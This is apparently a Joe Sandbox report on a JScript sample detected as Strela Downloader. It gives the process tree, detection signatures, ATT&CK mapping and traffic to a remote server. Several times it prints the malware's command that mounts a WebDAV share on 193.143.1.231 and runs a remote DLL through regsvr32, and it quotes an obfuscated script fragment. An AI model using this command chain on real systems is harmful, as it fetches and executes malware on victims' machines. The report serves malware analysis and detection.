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Windows Analysis Report
2971435162666519472.js

Overview

General Information

Sample name:	2971435162666519472.js
Analysis ID:	1577454
MD5:	d5cc72873b9b26833ee92e4c831c4eda
SHA1:	15f9ae15690a8673bd299294064f5e7af5992750
SHA256:	40fd4d27c0a600234b65d2379776c94c8ede1f3e18fe01eb57f06f7913dd1dd9
Tags:	jsuser-lowmal3
Infos:

Detection

Strela Downloader

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Yara detected Strela Downloader

Gathers information about network shares

Sigma detected: WScript or CScript Dropper

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

Process Tree

System is w10x64

wscript.exe (PID: 984 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3808 cmdline: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5508 cmdline: cmd /c net use \\193.143.1.231@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3876 cmdline: net use \\193.143.1.231@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 984	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_984.amsi.csv	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", ProcessId: 984, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.231, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3876, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49704

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 984, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll, ProcessId: 3808, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js", ProcessId: 984, ProcessName: wscript.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.231@8888\davwwwroot\, CommandLine: net use \\193.143.1.231@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.231@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.231@8888\davwwwroot\, ProcessId: 3876, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.231@8888\davwwwroot\, CommandLine: net use \\193.143.1.231@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.231@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5508, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.231@8888\davwwwroot\, ProcessId: 3876, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 193.143.1.231:8888

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.231

Source: net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2109932013.000002BA8DFFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2109932013.000002BA8DFAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/
Source: net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/)
Source: net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/1
Source: net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/E
Source: net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/M
Source: net.exe, 00000005.00000002.2109932013.000002BA8DFAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.231:8888/s

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match	File source: amsi64_984.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 984, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: 2971435162666519472.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal72.rans.troj.spyw.evad.winJS@8/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4160:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("cmd /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s", "0", "false")

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49704

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\net.exe TID: 7108

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: net.exe, 00000005.00000002.2109932013.000002BA8E009000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2109932013.000002BA8DFAC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.231@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	12 Scripting	Valid Accounts	Windows Management Instrumentation	12 Scripting	11 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://193.143.1.231:8888/)	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/E	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/1	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/s	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/	0%	Avira URL Cloud	safe
http://193.143.1.231:8888/M	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.231:8888/)	net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/E	net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/1	net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/	net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2109932013.000002BA8DFFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.2109932013.000002BA8DFAC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/s	net.exe, 00000005.00000002.2109932013.000002BA8DFAC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.231:8888/M	net.exe, 00000005.00000002.2109932013.000002BA8DFDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.231	unknown	unknown		57271	BITWEB-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577454
Start date and time:	2024-12-18 13:41:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2971435162666519472.js
Detection:	MAL
Classification:	mal72.rans.troj.spyw.evad.winJS@8/0@0/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2971435162666519472.js

Simulations

Behavior and APIs

Time	Type	Description
07:42:28	API Interceptor	1x Sleep call for process: net.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.231	126484723232027823.js	Get hash	malicious	Strela Downloader, Strela Stealer	Browse	193.143.1.231:8888/140341625623863.dll
193.143.1.231	126484723232027823.js	Get hash	malicious	Strela Downloader, Strela Stealer	Browse	193.143.1.231:8888/140341625623863.dll

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	126484723232027823.js	Get hash	malicious	Strela Downloader, Strela Stealer	Browse	193.143.1.231
	126484723232027823.js	Get hash	malicious	Strela Downloader, Strela Stealer	Browse	193.143.1.231
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	qL619hzCfc.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cgd-assinar.com	Get hash	malicious	Unknown	Browse	193.143.1.14
	11iEly4m6C.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	YnViC5yHLu.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.46
	https://cmd-autenticacaogov.com/	Get hash	malicious	Unknown	Browse	193.143.1.14

File type:	ASCII text, with very long lines (13029), with no line terminators
Entropy (8bit):	4.830378830920875
TrID:
File name:	2971435162666519472.js
File size:	13'029 bytes
MD5:	d5cc72873b9b26833ee92e4c831c4eda
SHA1:	15f9ae15690a8673bd299294064f5e7af5992750
SHA256:	40fd4d27c0a600234b65d2379776c94c8ede1f3e18fe01eb57f06f7913dd1dd9
SHA512:	78a8c1571960081becea275ce1687970bf5c988ccd79f06017286697b5a2e8d3b75b4c151723049bf1818706dbbe57b6ef56c03bfaf953d2565a9272f453adf5
SSDEEP:	384:EXx91qXAZZ2ZZcQHK6btZY1b4lQHK6bt1XIE5Xf:bE5Xf
TLSH:	4E42EE88AA26DB7E47E8C3AE556F380254F48F6C1D70C77AC57FE54700B1BE588E9260
File Content Preview:	function vjcuinvfp(){this[rbktsrbhk+fnucaons+qozwbvlw+vwgmjzlo](iwedatboe+ygzoksh+bdtedewrq+zbgfuja+hbmpxagw+gsmbtvq+lchfe+iwedatboe+smxtnv+kjisgyz+smxtnv+edsnt+odjkdymh+fnucaons+qjgmfvcu+lpjlp+qwdhxlhsg+qwdhxlhsg+nupmhi+edsnt+vwgmjzlo+zxfxct+sbszjfzf+win

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:42:27.654928923 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 18, 2024 13:42:27.775741100 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 18, 2024 13:42:27.775897980 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 18, 2024 13:42:27.776129007 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 18, 2024 13:42:27.897346020 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 18, 2024 13:42:29.271722078 CET	8888	49704	193.143.1.231	192.168.2.5
Dec 18, 2024 13:42:29.312638998 CET	49704	8888	192.168.2.5	193.143.1.231
Dec 18, 2024 13:42:29.317867041 CET	49704	8888	192.168.2.5	193.143.1.231

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.231	8888	3876	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 13:42:27.776129007 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.231:8888
Dec 18, 2024 13:42:29.271722078 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Wed, 18 Dec 2024 12:42:29 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	07:42:25
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2971435162666519472.js"
Imagebase:	0x7ff63bc30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:42:26
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c cmd /c net use \\193.143.1.231@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.231@8888\davwwwroot\222642736821410.dll
Imagebase:	0x7ff791dd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:42:26
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:42:26
Start date:	18/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.231@8888\davwwwroot\
Imagebase:	0x7ff791dd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
